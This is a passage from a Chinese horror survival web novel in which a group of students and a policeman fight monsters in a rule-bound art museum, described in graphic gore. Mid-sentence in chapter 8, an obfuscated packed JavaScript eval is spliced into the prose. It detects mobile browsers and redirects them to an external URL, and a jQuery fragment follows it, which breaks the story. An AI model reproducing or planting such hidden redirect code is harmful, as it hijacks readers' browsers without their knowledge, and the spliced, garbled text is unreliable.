季南缓缓呼了口气。 “你快动起来啊!”班长朝体委喊。 季南不想喘气了。 班长的声音打破了某种平衡,窸窣声戛然而止。 细线猛地收紧,缠绕住众人,割开他们的脖颈,四肢,甚至张开的嘴巴里面,若不是渗出的点点血珠,他们甚至无法看到细线的存在。 很快,他们呼吸不畅,缺氧到眼前发黑,进入半昏迷状态。 而在班长出声的瞬间,季南便以人类难以理解的速度挣脱出细线的包围,从更多细线与细线的空隙中穿梭,突进到怪物身前。 季南手里不知何时多了块细长锋利的晶体,看样子像是体委的肢体碎片。 “诶?不是,等等……” 体委揉了揉眼睛,虽然他已经没有寻常意义上的眼睛了。 他认为自己一定是出现幻觉了,否则怎么会看到季南以匪夷所思的动作出现在怪物身前。 下一秒,晶体大半截没入怪物的身体,与怪物躯体一样漆黑的血液汩汩流出。 和她想的一样,怪物的身体不可能像丝线一样坚韧,否则它早就冲上来了。 随着怪物吃痛蜷缩,缠绕着众人的丝线不再继续收紧,但还是牢牢镶在身上。 还不能让其他人死。季南想。 守则中提到‘请尽可能地让所有人强大起来’,谁知道就剩自己一个人后会发生什么。 但现在的问题是,该如何把这么大的怪物弄死?它有心脏或是大脑一类的弱点吗,难不成要像对付吸血鬼一样钉在地上? 季南躲开向她袭来的细线,后退到体委身边,拿起他的断臂往地上一砸,半截手臂都变成大小不一的碎片。 体委质问道:“喂!你干什么!” “你很不爽?”季南平复着心跳,连眼神都没给他一点,“遗憾的是,你现在没有反抗的余地。你很脆弱,但碎片足够锋利,勉强能给团队做做贡献。” 随着季南与怪物纠缠,怪物身上陆续多了几个窟窿,漆黑的血发出石油的气味,半晌,它晃晃悠悠地倒下去。 体委用仅剩的手拍了拍胸膛:“还好还好,这个怪比较好打,看来神一样的对手也抵不过神一样的队友啊,打个商量,把我拼回来呗,哈哈……” 在季南冰凉中带着警告的目光下,体委噤了声。 怪物倒下,但缠在别人身上的线并没有松开,反而更紧了。 看不见的线嵌进警察的嘴角,在鲜血的浸润下缓缓前进,畅通无阻的像是在切一块黄油。 “有东西在吃我…好疼…有东西在吃我……” 纪委闭着眼睛,声音小的像梦呓。 怪物离他们还远。 是线,线在起伏,线在蠢动。 是线在啃食。 7. 第 7 章(替换) 透明的丝线被血肉染成红色,顺着丝线蔓延开。 季南手中的水晶劈向丝线,丝线只是微微颤动,而手中的水晶已然出现豁口。 血肉顺着丝线被送进怪物细长的口器中,怪物浑身冒出黑烟,身上大小不一的洞涌着沸腾似的泡沫逐一缩小。 坐以待毙显然不是明智之举,季南三两步上前去,试图补刀——至少维持怪物虚弱的状态,刚触碰到黑烟便被灼伤,手臂冒出一层水疱。 片刻时间,那东西爬起来,摄取了人类基因的怪物在口器下方长出手臂,使它更像千足虫了。 而虫体的最顶端则蠕动着,冒出一节凸起,依次形成咽喉,脊椎,大脑,最后用漆黑的皮肤包裹住,组成一个头颅。黑色的,像是石油一样泛着暗光的眼睛,以非人之物的姿态静静俯视着众人。 怪物的嘴终于有了口吐人言的能力,它不慎熟练地张开嘴巴:“碾碎…吞噬……” 它说:“进化。” “我的老天爷……我的老天爷……”体委趴在地上,仰头盯着愈发高大的怪物,几乎不会言语,“难道这就是我们的末路了?” “不对,不对……”体委一只手扒着地板,艰难地扭过身子,像蠕虫似的向远离怪物的方向爬行,“逃吧,逃跑不丢人。留得青山在不怕没柴烧,我不可能折在这里,后面还有很长一段路要走……我有奇遇,我是主角,不可能……不可能……” 季南额角不自觉冒出冷汗。 她能拿到最坚硬的东西就是体委的碎片,但这东西只能制造小伤口,奈何不了这么大的怪物。 如果能切断血肉的供养,再把它撕裂成小块……或许能杀掉。 但是,呵,想的容易。就算她全力以赴,也不一定能把已经将近三人高的怪物撕开。 季南松开手,任由水晶滚落到一旁。再抬眼,她眼睛里没有恐惧,没有慌乱,更没有孤注一掷般的勇气,冷静与理智蔓延开,与瞳色混合成深不见底的黑。 无论如何,坐以待毙就是死路一条,不是吗? 怪物头颅后仰,嘴巴张开,直到人类的极限,再突破人类的极限,越来越大,越来越恐怖荒谬。 丝线像是派对礼炮,猛地从怪物的嘴巴里爆出来,有生命似的袭击离自己最近的生命体——季南。 季南尽力闪避,躲开大多数攻击,可过于密集的丝线根本没给季南躲闪的空间,手腕,肩膀依次被细线贯穿。 每次察觉到被细线穿透,季南都会猛地拉开,让细线穿过血肉脱出体外。 怪物尝到季南的鲜血,不知为何,停顿了几秒。宛如心跳停止的片刻后,那怪物仰头发出一声尖利的嚎叫,雀跃欢喜。 “好吃…吃……” 随即攻势愈发猛烈。 肌肉断开数次,季南却依旧拥有行动的能力。她身体上绽开的伤口以肉眼可见的速度合拢,收缩,很快恢复光洁,只有残破的衣物预示刚刚发生了什么。 同伴几乎失去意识,唯一有点能力的体委在墙壁上敲敲打打,企图找到来时的路。 季南像个没有痛觉的机器人,重复着闪避,受伤,挣脱的动作,慢慢靠近怪物的本体。 黑眸几乎一眨不眨地盯着怪物崎岖的身体,观察它每一个动作,表情,细节,并企图找到破局的办法。 庞大的怪物,渺小的人类。 他们看似已至末路。 但季南只相信一点—— 所谓死亡,永远在生之后。 永远不能放弃理智,尤其是在那个看不见的节点到来之前。 最终,季南紧盯着它畸形丑陋的头颅。 季南离怪物只有两步的距离了,然而越是接近,所面临的攻击也就越多。 她的身体素质比普通人高得不止一星半点,但终究不是超人。 数不清的丝线插进她脖子,四肢,躯干,像树枝一样在血肉里生长,将季南牢牢定在原地。 大量透明的线在空中闪烁着熠熠光辉,像蚕丝一样笼罩季南,试图将她包成一个厚茧。 怪物含着无数丝线的嘴嗫嚅着:“好吃,好吃……我会把你……放进花瓶里。” 细丝彻底遮蔽前,季南听到几声撕心裂肺的咳喘,重物落地,液体滴落的声音,有什么东西破空而来,割碎季南眼前的屏障,周身的丝线,并将怪物捆在原地。 ——是另一组丝线,金黄色,闪着太阳似的光辉。 束缚季南的大多数丝线被砍断,仅剩几根藕断丝连,在季南挣脱的空档中,她回头望去。 警察的嘴几乎被丝线完全割开,比传说中的裂口女还要骇人。他捂着脖子跪坐在地,金色的丝线从他捂着伤口的指缝中、嘴巴中大股倾泻。 而墙上的画框将警察现在的样子牢牢刻在其中。 原来如此。季南在电光火石间想通一切。 他用牙齿和颌骨磨断了线,并把断线吞掉,这样也算是吞噬怪物的一部分,警察由此摄取了怪物的基因。 金丝像蛇一样爬到怪物的嘴里,不让他继续吐丝,丝产的过多,又出不来,怪物的脸颊越鼓越大,肉撑得几乎透明,甚至能看见不同颜色的丝在其中扭打。 季南捞起脚边的水晶碎片,高高跃起,扎向怪物气球似的头。 怪物的头像爆米花一样炸开。于此同时,金色的丝线从这唯一的缺口钻进怪物内部,伴着令人牙酸的黏腻声响,它的血肉被撕成碎片,宛若褪去的浪潮,渐渐被金丝吞噬殆尽了。 通往第三个房间的走廊就此展开。 季南抬头看了看时间,10:48。 守则2.本馆大门24小时打开,美术馆开放时间为8:00——13:00以及16:00——20:00,若您在开馆时间外到达,请在门外等候,不要在非营业时间段停留在美术馆。 距离13:00还有两小时十二分钟。 季南正了正神色,若有所思地盯着慢慢站起来的警察。 沾着黑色血液的金丝慢慢回到他的伤口里面,缝合住脖子和裂开的唇角,以及身上密密麻麻的各种裂口。 一个正常人真的会选择毫无犹豫地吞掉一整只样貌丑陋的怪物吗? 警察像是还没回过神,眼神发飘,他伸手摸了摸脸上缝合伤口的金线,那金线颤了颤,探出一节,亲昵地勾住他的手指。 察觉到那一丝果冻般的触感,警察猛地抽出手,脸色刷白,喉咙蠕动着,像是下一秒就要吐出来。 他想捂住嘴,手抬起一半又僵住,显然是不想再碰脸上的线。 “……” 季南上前问警察:“你还好吗?” “没……呕,我没事……”警察一脸菜色,“我本来想把那东西撕开算了,谁曾想,呕……真不是我想吃的。它现在应该不会在我的胃袋里吧。” “大概吧。”季南试着宽慰他,“毕竟你的胃袋也装不下那么多。” 警察很快平静下来,他再次摸了摸脖子上的伤口,看向季南的眼神带上几分审视。季南不动声色,她知道警察接下来要说什么。 “目前可以明确,只有吞掉这里的怪物才能获得一些……非凡能力,就像我,还有那个孩子。” 警察看了看体委,体委似乎已经从崩溃的状态脱离开,正艰难地收集自己的碎片,嘴里还嘟囔着‘看来我命不该绝’之类的话。 他说:“但是你,我没见过你吃过任何东西,那么你是如何做到的?” 做到丝滑流畅躲避怪物的攻击,伤口快速愈合,并一蹦五米高打爆怪物的头。 季南笑了笑,道:“无论我隐瞒了什么,我救了你们,这点毋容置疑。” 她叹了口气,做出一副我也很为难的样子。 “我会和你谈谈,前提是我们得活着出去。” 才怪。 世界已是惊弓之鸟,再有定点风吹草动便会重新燃烧。若官方知道世界上存在她这样异常的人,他们会怎么做? 答案很简单,在活着的前提下,她的存在会被彻底抹消。 就算要逃,季南不是超人,抵不住枪支炮火。 为了之后和平的生活,她会在必要的时候采取必要的措施。 即便是——让自己成为意外中唯一的幸存者。 “说的也是。”武警点点头,正色道:“无论如何,谢谢你。” 他扬起唇角,笑容在两颊金丝的陪衬下显得不伦不类。 “守则上不是提到,‘您所得到的一切无法带离美术馆’,估计这些丝线也是一样,希望等出去后我的下巴不会掉下去。” “唔……” 班长悠悠转醒,紧接着是纪委。 小透明还是趴在地上一动不动。 察觉到不对,季南走到小透明身边,将她翻到正面朝上。 小透明脖子正中,红而深的伤口几乎盘踞三分之二个脖颈,甚至能看到有些破损的气管,正汩汩冒着血,把她胸前的衣衫都染成红色。 她忽然艰难地咳嗽,伤口里传出来的声音像是破损的风箱,她咳得醒过来,伸手捂住脖子。 “我……啊,啊……”她喉咙里只能产出一个破碎的音符。 不过轻微的动作,小透明又咳嗽起来,直到季南把她翻回面朝下的姿势,才勉强止住。 季南想了想,问走过来查看小透明情况的警察:“你能把她的伤口缝起来吗?” 警察蹲下,试着扯开脖子上的金丝,道:“我尽力。” 同时,班长找回了知觉,她不满地嘟囔: “嘶……怎么回事,我身上好疼。” 恍然间,班长看传来疼痛的地方,身上一道道渗着血的伤口吓得她瞪大了眼睛。 “我的胳膊,我的腿…怎么连脖子上都有,怎么回事!” 季南没理会班长的惊呼,又把小透明翻过来,赤手合住她的气管。警察不慎熟练地操控金线向狰狞的伤口涌去。 在空中飞舞扭曲的金丝实属诡异,小透明瞪大了眼睛,奄奄一息地挣扎几下。 “别乱动,他可不是什么熟手,你总不想让气管和脖子长在一起。”季南说。 而警察没说话,显然,他不能保证这一点。 小透明侧头,在警察凝重的神情中缓缓闭上眼睛。 “不行!” 班长毫无征兆地扯开警察的手,金丝在她的扰乱下差点戳进小透明的气管。 “先给我缝!” 她揪住警察胳膊上的制服,不让他 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“就算父母不再重视你,你什么都没有了,我也不会离开的,我发誓,你让我发多少誓都行。” 班长却毫不犹豫地说:“我要你有什么用?” 她扬起脑袋,看垃圾的眼神刺痛了纪委,他张张嘴刚想说什么,班长却转过头去看警察,再也不看他一眼。 纪委的眼睛彻底暗了下去。 “别管她了,先给我缝,快点,一个伤口五十万。”班长对警察说完,又看向其他人,“只要能让我完整的、活着出去,一人一百万。” “你现在还能拿出这么多钱?” 终于拼凑好身体的体委语气中满是狐疑。 班长:“资源还在,钱只是时间问题,说了你也不懂。” 一百万可能是绝大多数普通人一辈子都攒不到的钱,可季南并没有为之动摇。 在没摸清最后的通关要求前,一切让团队减员的行为都是亏损。 先不说那些诡异的守则,美术馆门口那恐怖的雕像始终是个威胁。 钱固然可爱,但也要有命拿才行。 手下的动静让季南收起发散的思维,小透明发狠地挣扎起来,季南怕戳破她的气管,微微放松了下,小透明便挣脱她,顶着狰狞的伤口猛地坐起来了。 带着血的手猛地攥住班长的手腕,几乎爆出青筋,刘海下的眼神第一次充满狠厉。 “怎,怎么?”班长结巴一下,很快勾起笑容。 “我可是在用几百万买你的命,这样一来,你欠下的钱就能还上大半了。庆幸吧,像你这样的人,根本值不了这么多钱。” “咳咳…我要是死了…咳……做鬼也不会放过你的。” 她几乎要把肺脏咳出来。 “我一定会拖着你…一起下地狱!” 来自弱者的愤怒让班长的勾起唇角。 “你还挺有理,随便你吧。但你得知道,这个世界,有钱才是硬道理。” 季南几乎要笑出来了。 “要不你跟门口的雕像说说,把所有家当给它,看看它会不会放我们出去。” 班长:“什么?” 就在这时。 “够了,不要乱动,躺好。”警察说。 金丝渐渐灵活起来,向小透明的伤口涌去。 “你……” 班长还想说些什么,但被警察打断。 “我说过,我干这行不是为了钱。” 警察渐渐能完全控制金丝,但小透明的伤涉及气管,他不敢放松,在小透明忍痛的表情中缝了将近十五分钟。 中途,十二下钟声响彻美术馆。 等一切结束,小透明的眼泪和汗水几乎糊了半张脸。 警察转头问班长:“你还要缝吗?” 眼见着小透明的惨状,班长咬咬牙,伸出胳膊。 “缝!” 众人踏入第三个房间时,距离13:00还有一小时五十五分钟。 途中,季南问警察。 “你叫什么名字?” “郑开麒。” —— 进化王国国主最小的儿子,喜食人羊,只能摄取人羊的基因,曾一度因为弱小被逐出王国。 被逐出第四年,人羊灭种。 小王子成为唯一的类人羊生物,自称人羊。 后灾厄降临,王国受创,召人羊回归。 由于食物灭绝,在十分饥饿的情况下,人羊也会选择啃食人类。 “他们说人羊很弱?” 体委带着水晶质感的声线几乎抖成电音,后退一步,整个人贴在墙壁上。 “他们管这玩意叫很弱??” 他们所在的房间大的出奇,有五层楼那么高。 而几乎有房顶高的怪物占据空间正中,它下半身是密密麻麻的羊蹄,组成一个巨大的肉团,摊在地上,衬得属于成年男性的上半身格外渺小。 而脖子上方,原本是头的位置,插着五个白山羊脑袋。 五双渗人的横瞳正死死盯着他们。 8. 第 8 章(替换) “没人规定主角不能有巨物恐惧症吧。”体委显然有点崩溃,“怎么打?就算我整个人都扎进去,也只是给它做针灸。” “你还敢说话?” 若不是现在的体委太硬,班长绝对要扇他一巴掌。 “要不是你在第一个房间乱来,我们说不定根本不用面对这些怪物。” “咳咳,这时候就要靠神队友了,比如我们的警察同志,或者……” 体委的水晶脑袋偏向季南,季南一直在盯着人羊,闻言轻飘飘瞪了他一眼,意思很明确了——闭嘴。 小透明一开始被巨大的人羊吓个半死,现在也渐渐回过神: “这个……叫人羊的东西,一动不动的,是雕像吗?” 话音刚落,最左边那颗羊头冲他们缓缓眨了下眼睛。 意识到人羊是活物的瞬间,他们顿时明白了自己面对的是什么——这是一个以人类为食,站在食物链顶端的捕食者。 在地球同样站在食物链顶端的人类于此时体会到一种全新的恐惧,属于被捕食者的本能让众人噤声,脑子一片空白,动都不敢动,试图把自己伪装成死物。 而季南不同,她在刚进美术馆时便体会到更深一层的恐怖,因此在头皮发麻的同时,季南的脑袋仍在持续转动,一个问题自然而然地出现在她脑海。 该怎么把这么巨大的东西杀掉? 人羊的脖子延长,柔软的像是条巨蟒,刚才向他们眨眼的羊头从高处降下来。 随着距离的靠近,羊头绿色眼睛上的睫毛,细长的吻部,薄而光滑的唇,细而卷曲的毛发……一个个令人毛骨悚然的细节愈发清晰。 羊头鼻腔里传出的气息像是热带雨林的暖风,带着浓浓的羊膻味。 在第一次感受到那温热的气流时,季南拍了拍警察,也就是郑开麒的肩膀。 外界的干扰让郑开麒从恐惧中抽离,他来不及定神,扯开脖子上的线,任由金丝从伤口里浪潮似的冒出来。 金色的丝线顺着郑开麒的意愿绕过硕大羊头,缠绕住它蟒蛇一样的脖子。 人羊意识到危险,试图挣脱,但已然来不及。金丝很快将它的脖子蚕食殆尽,失去了支撑的羊头在半空中轰然落到他们面前。 待人羊毛发中的灰尘散尽,季南才发现自己只和它的吻部一般高。 “哈哈……这羊头就够咱们吃几天了。”体委干笑着。 红血喷涌而出,人羊巨大的身子颤抖,肉团中羊蹄与羊蹄相撞铛铛作响。剩下的四个头颅发出‘咩咩——’的叫声。 印象中属于草食动物憨厚可爱的叫声此刻震耳欲聋,季南第一次在羊头上看出那么明显的愤怒。 又有羊头降下来,季南以为人羊要一口把他们吞下肚。 但那羊头并没有向他们靠近,反而贴着它身下的肉团。 张开嘴。 咬下一大块血肉,里面掺杂着几个羊蹄。 咀嚼。 吞咽。 甚至还露出享受的表情。 “它在……吃自己?” 小透明脸色惨白,显然是要吐出来了。 众人眼睁睁看着人羊自己吃自己的时候,季南拔□□委的胳膊,掷向吃的正欢的山羊头。 噗嗤一声,水晶插进羊头的眼睛里。 那羊头咀嚼的动作顿了顿,转向季南,血淋淋的嘴巴露出一个笑来。 这荒唐恐怖的一幕吓得体委身体发直,话都说不出了。 人羊受伤的眼睛开始蠕动,之前断掉的脖子也跟着一起,肉团像泡泡似的在伤口处膨大,生成新的眼睛和新的脑袋。 五颗羊头完好如初,与刚开始见到时一样,悠悠然在最上空注视他们。 “通过自噬实现再生?”季南无视体委的尖叫,把他另一条胳膊也拧下来,思索几秒。 “说不定人羊只是看着可怕,我们现在应该能对付。” 体委已经放弃了挣扎,自觉充当起提供武器的工具人。 “所以这小王子真的是因为挑食被逐出进化王国的?” “我们能对付?那太好了。”班长喃喃。 季南转头,班长近乎狂热的表情令季南愣了愣。 班长的眼妆在前面的关卡中花掉了大部分,滑稽的色彩却挡不住她眼中光芒,她近乎贪婪地注视着中央的怪物,像是普通人在注视一串价值一千万的双色球号码。 她摸了摸脸色上的伤口,狰狞的触感让班长的手猛然缩回。 “我一定要吃掉人羊。” 班长问季南:“该怎么干掉它?” “其实很简单。”季南指了指上面,“假设它需要通过摄食才能完成再生,那应对的方法很简单,把它的五个头砍下来不就行了。” 警察补充:“而且必须是同时。” “没错。”季南点头附和,“就算只剩一个脑袋,但只要让人羊咬到一口,它也能恢复到原来的状态。” “你们快别商量了,看前面!” 体委没了胳膊,只能用头去指。 人羊下半身的肉球一阵蠕动,一个个羊蹄缓缓坠落,露出腿,山羊的身子,一只接着一只落地。 它们发出咩咩的叫声。 小透明:“它们怎么能叫啊……” 这些山羊,有蹄子,有腿,有身体,也有毛,就是没有脖子和头。 重点是,它们一个就有五六米高,抬抬腿就能把他们踩死。 浩浩荡荡的山羊大军向他们袭来,咩咩的叫声连成一片。 众人背靠墙聚在一起,郑开麒的金丝勒住一个又一个无头羊,把它们撕成碎片。但无头羊似乎无穷无尽,怎么杀也不减少,没过一会,郑开麒额头的汗滴落在地。 “我撑不了多久,你们快想办法。” “你分出去一缕把那五个羊头砍掉就不好了。”这是体委。 郑开麒:“说真的,如果能做到,不用你提醒。” 班长盯着人羊那五条脖子,把嘴上的口红完全擦掉,目光缓缓偏向体委,不过怎么看怎么不怀好意,她说: “我有个主意。” 她盯着体委晶莹剔透的身体,上下扫视,盯的体委退无可退。她思索几秒,指指季南手上属于体委的断臂。 “给我掰一半。” 季南照她说的,掰了一半扔给班长,将剩下的另一半掰碎拼成长匕首,不说能把无头羊整个削成两半,砍断它们的腿问题不大。 接过一截断臂,班长向体委靠近,若不是体委没了胳膊,早就做双手抱胸状。 “你你你要干什么?就算我人见人爱,你你你也不能在这个节骨眼上做这种不知羞耻的事。” “更何况纪委还在旁边看着呢,纪委快管管你女朋友!” 而纪委低着头,不做言语。 班长扒了扒体委的肩膀,用尽全身力气也掰不动,心里疑惑:怎么季南就很轻松地把那节手背掰成两截的? 她招呼纪委:“还不快过来帮忙?” 纪委愣住,抬脚过去帮班长,但眼里依旧没什么情绪。 又有羊头降下来,靠近他们,长大嘴巴,唾液一股股冒出来,拉着丝落到地面,落到无头羊的身上,很快散发出恶臭。 很显然,人羊想把他们吞进肚里。 郑开麒深吸一口气,告诫众人:“我先解决羊头,你们小心!” 一部分金丝向羊头的方向靠拢,针对无头羊的防御便薄弱了,班长和纪委围着体委不知道在做什么,小透明刚缝完针本身也没什么战力。 能防御无头羊的只有季南自己了。 此时的季南也顾不得隐藏实力,手里的长匕几乎挥出火花,一排排无头羊随着季南的动作跪倒在地。 然而双拳难敌四手,一只无头羊突破了防御,向体委等人冲去。 “后面后面!看后面!” 体委大叫着往后蹬,奈何他身后已经是墙了。 班长和纪委向一旁扑去,与无头羊硕大的蹄子擦肩而过,体委则尖叫着直接被踩成碎片。 无头羊转身,高高扬起蹄子,马上就要落到被吓傻了的小透明身上。 几缕金丝猛地冲过来,但是赶不上。 但在小透明被踩成肉泥之前,无头羊先一步跪倒在地,与同一时间落下的人羊头一起发出令天花板震动的噪音。 武警松了口气。 季南抽出水晶匕首,在愈发浓重的血腥气中极力忍住呕吐的欲望,她看向身后的尸山血海,与那正在发出怒吼的巨大人羊,一时间竟分不清自己在梦境还是现实。 “季南……你真厉害啊。” 小透明小声说着,眼中闪过一丝自己都没察觉到的憧憬。 “我?我之前练过。毕竟现在意外这么多,自己强大起来才是真正的底气。” 季南说出早就编排好的理由,多的就不再说了,她深知说多错多。 只要不暴露她堪称异常的自愈能力,剩下的都可以用这句话来解释。 “自己强大起来才是底气?” 小透明缓缓重复这句话,若有所思。 像是想通了什么,小透明微微瞪大眼睛,在堪称地狱的红色中抬头望向人羊狰狞的头颅。 她恍然道:“你说得对。” 羊头落地,金丝重启防御,季南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831803|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退居二线。 有什么声音从鞋底下传来,季南本以为是踩到了某只无头羊的内脏骨头一类,毕竟现在的地板上都是这类东西,但抬脚一看,是一枚水晶碎片。 这小块水晶碎片兴奋地颤抖着: “我还活着,我还能说话!天知道我刚才以为自己死定了,我就知道主角没那么容易godie!” 季南把这片碎片踢到不远处的水晶堆里,问班长: “体委碎了,还有用吗?” 班长揉着血红一片的膝盖爬起来,这会儿她倒是不为新添的伤痕烦恼了。 “碎了正好,省得我再费力气。” 她蹲下,将水晶碎片聚拢起来,又一个个拼凑着。 看着水晶逐渐成型,季南突然知道班长想要做什么了。 八分钟后,郑开麒体力告罄,金丝软趴趴的,无法再阻止无头羊的进攻,他用最后的力气将金丝绕过吊灯,把众人高悬在空中。 无头羊够不到他们,而几乎与房顶一般高的人羊确可以,那五颗羊头不再咩咩叫唤,齐齐咧开嘴微笑起来。 人羊身下的肉团开始蠕动,拖着巨大的身躯向他们的方向移动,碾碎了众多无头羊,掀起一阵腥臭。 眼瞧着那恐怖的山羊头离他们越来越近,掉在半空中人们的脸色也愈发苍白。 “希望季南能成功吧……”小透明紧紧闭上眼睛。 热息扑面,班长在潮湿的腥气中干呕几次,忍无可忍地捏住鼻子。 “我本来是想让你去的,你为什么要交给季南,她能行吗?” 郑开麒:“这关乎我们六个人的命,我分得清轻重。” 事实上,郑开麒看得出来,无论是力量还是速度,季南都比自己要强。 但他不能说。 纪委看了班长一眼,脑子里不知道在想什么。 小透明,班长,纪委,郑开麒都在吊灯地下挂着,里面独独没有季南和体委。 几秒过去,羊头又离得近了,为了不被它口腔里的腐败气味熏吐,四人屏住呼吸,渐渐地,他们能在那横着的眼瞳里看见自己的倒影。 人羊眯起眼睛,似乎已经品尝到人类的味道,它张开嘴,血红的舌头与黏腻光滑的黏膜被他们看得清清楚楚,口腔最深处,漆黑的食道正向他们招手。 没人再说话了。 再近一点。 郑开麒在心里估计。 他们能听到唾液分泌的声音。 再近一点。 吻部几乎碰到他们的头发。 再近一点! 人羊进入吊灯的阴影中。 就是现在! 几乎是瞬间,人羊头顶上空出现一个圆环,闪闪发亮,像是天使头顶的光圈。 那圆环下落,略过人羊的角,眯起的横眸,精准地从吻部与众人的缝隙穿过。 随后在脖子处猛地收紧! 人羊的头与众人的距离顿时拉开,五个头被捆在一起。 它挣扎,叫唤,扭来扭去,却怎么也挣脱不了绳索的束缚,甚至愈来愈紧了。 绳索聒噪出声:“哈哈,让你尝尝主角光环的厉害,这光环可不是谁都有资格套得上的!” 而绳索的另一头,在季南的手里,她离众人并不远,一直在吊灯上隐蔽身形。 除了可以拼接外,构成体委的水晶有一个特点——越小,越薄,反而越坚韧。 体委整个人能被丝线和无头羊轻易切割或是碾碎,但用体委的水晶碎片去劈砍丝线只是出现一个豁口。 同样的,用水晶制作的短匕可以轻易切割开无头羊的皮肤肌肉,以及骨骼。 班长也同样看出这一点,因此把体委尽可能弄碎,做成极细的锁套。 而现在,最关键的一步已经完成,接下来就是—— 季南长呼一口气,用尽全身力气牵拉绳索。 锋利的绳索顿时将人羊的脖子切开一道豁口,像切豆腐似的深入,即刻触摸到中央的骨骼。 “咩——” “咩——” 人羊在哀叫。 它横瞳向下,瞪着自己身下的肉团,目次欲裂。它的头降不下去,套索卡住了脊椎,不,套索已经切断了脊椎。 声带被切开,人羊口吐白沫,却依旧能发出叫喊,直到五个羊头齐刷刷断开,宛如野兽般的嘶吼仍然连绵不断。 巨大的羊头坠落至半空,季南等人刚松下一口气,然而当季南望向那五颗羊头的落点时,才泄下来的气顿时又提到了嗓子眼。 羊头坠落的正下方,是成堆的无头羊。 而无头羊也是人羊的一部分。 9. 第 9 章(替换) 不,不不。 应该没关系,人羊的食道已经切断,就算它摄食,东西也到不了肠胃。 本来季南是这么想的,如果她没有看到人羊头在半空旋转落地时冲她露出的——转瞬即逝的笑容。 不能再冒险。 季南当机立断,提醒郑开麒: “不要让羊头落到地上!” 在武警部队常年服役的郑开麒已经把服从命令当做本能。尽管他不明所以,脖子伤口中的金丝却争先恐后地涌出来,飞速略过吊灯,也只来得及捆住其中的四颗山羊头。 但还有一颗仍在下落。 仅剩的山羊头长大嘴巴,在即将乃至下一秒就要落地的边缘定在半空中。 “呕呕,这肉团的触感有点恶心啊,你不想吐吗?呕呕呕呕。” 季南手上的绳索发出呕吐声。 “闭上嘴。” 整个人都陷在人羊肉团里的季南紧紧抓着捆住山羊头的绳索,手臂爆出青筋,她咬牙切齿道: “不够长也就罢了,你最好祈祷自己足够结实,不要在关键时刻掉链子。” “否则人羊的肚子里一定比这肉团更恶心。” 人羊头距离地上的无头羊只有不到一米的距离,山羊头张开嘴,伸出舌头,却怎么也碰不到柔软多汁的□□。 它们嘴里发出咩咩的叫声,愈发凄惨愈发响亮,渐渐接近人类的惨叫,像是要把山都震碎。 班长等人纷纷捂住耳朵,小透明的指缝里甚至渗出几丝血。 但没过多久,人羊的叫声渐渐虚弱无力,舌头失去了血色。 山羊头抽搐着,横瞳里是极力想往它嘴里钻的无头羊。 并就此定格。 …… 季南和班长等人重新回到地面,季南在撕身上粘着的肉条,体委在地上扭来扭去,试图把自己扭成人形,但很显然,他做不到。 郑开麒已经缝好脖子上的伤。 “好了,这坨……人羊?谁去试试?” “说不定…说不定我们可以一起获得它的能力。”小透明说,“人羊这么大,我们…一人一口?” 季南拍了拍身上一大片一大片的血迹:“可以尝试,毕竟守则上没说一个怪物的特性只可以分给一个人类。” 当然,充当试验品的是其他人。 她看向人羊的尸体,动作顿住:“不过你们得尽快了。” 美术馆仿佛听到他们想要钻空子话,人羊的尸体以极快的趋势消散,比墨水滴进清水溶解的速度还快,不过众人呆愣的时间,人羊只剩下小小的、鲜红一点。 先动起来的不是宣言过‘一定要吃掉它’的班长,而是小透明,班长则紧随其后。季南没有动,如果她想拥有人羊的能力,早就在肉团上时便下口了。 她有种莫名的感觉——如果真的吃下这些东西,就再也回不了头。 拥有力量,才能有底气。 小透明回想着季南说过的话。 是啊,所谓公平只是强者对弱者的施舍,她很少体会到这种施舍,也不再想要这种施舍了。 她想成为强者,成为能施舍他人的人,成为能制定规则的人,成为能撰写历史的人。 她想成为把别人踩在脚下的人。 而在这个奇异的地方,成为强者是何等容易。 小透明心中的明悟化作陌生而强烈的勇气,注入她的双腿,她能感觉到自己越跑越快,越跑越快。 她用尽全身的力气,再从骨髓出榨干剩余的能量 ——却怎么也无法阻止身边超过自己的影子。 意识到这一点,小透明像是忽然间化作第三者,眼睁睁看着班长整个人越过自己,捞起那块没剩多少的肉塞进嘴里,她甚至能听到别人喉咙里传来吞咽的声音。 班长捂住脑袋,两个山羊角从她指缝间冒出来,当她放下手,抬起头时,所有人都瞧见她山羊似的横瞳。 属于她的画框也同时产生了变化。 体委目睹全程:“哇,酷诶。” 季南则抬头看了一眼,继续与身上黏糊糊的血迹做斗争。 真是奇怪,地板上的血都消失的差不多了,为什么衣服上的也不能一并消失呢。 这时,班长抬起胳膊,张开嘴,一口咬下去。 皮肉凹陷,血珠渗出,她喉咙里压抑不住痛呼,却硬生生把一块肉扯下来。 咀嚼。 吞咽。 旧伤以肉眼可见的速度愈合,缝合伤口的金线脱落下来,原本是伤口的位置变得像初来时白皙光滑。 班长扬起笑容,一腿把旁边呆愣住的小透明踢倒在地,狠狠踩在她脖子中央的伤口上,听着她的痛呼微微一笑,居高临下地看着她。 她弯下腰凑近小透明,确保接下来的话不会被第二个人听见。 “就凭你,也想跟我抢东西?忘了你平时是如何笨手笨脚的了吗?这个世界不是你想怎么样就能怎样的。” 因为听力出众被迫听见的季南轻呼一口气,她余光窥见小透明几乎快哭出来的表情。 这话就有点多余了。 班长可真是会找麻烦。 此时11:12,距离13:00还有一小时四十八分钟,无人死亡。 还不错。 班长去找体委,把他当成镜子照,季南走到萎缩成一团的小透明旁边,蹲下,柔声问她:“你还好吗?” 其实季南并不关心队友的恩怨,但现在他们都是同一根线上的蚂蚱,一个人出了问题,搞不好所有人都得跟着遭殃。 班长获得了力量,使队伍整体的实力得到提升,但若小透明被打击到一蹶不振,队伍也就失去了一枚有潜力的种子。 守则8.假如您违背守则5,尽可能地让所有人强大起来 它已经能闻到你们的气味了 必须在它■■■之前。 他们现在最需要的就是力量。 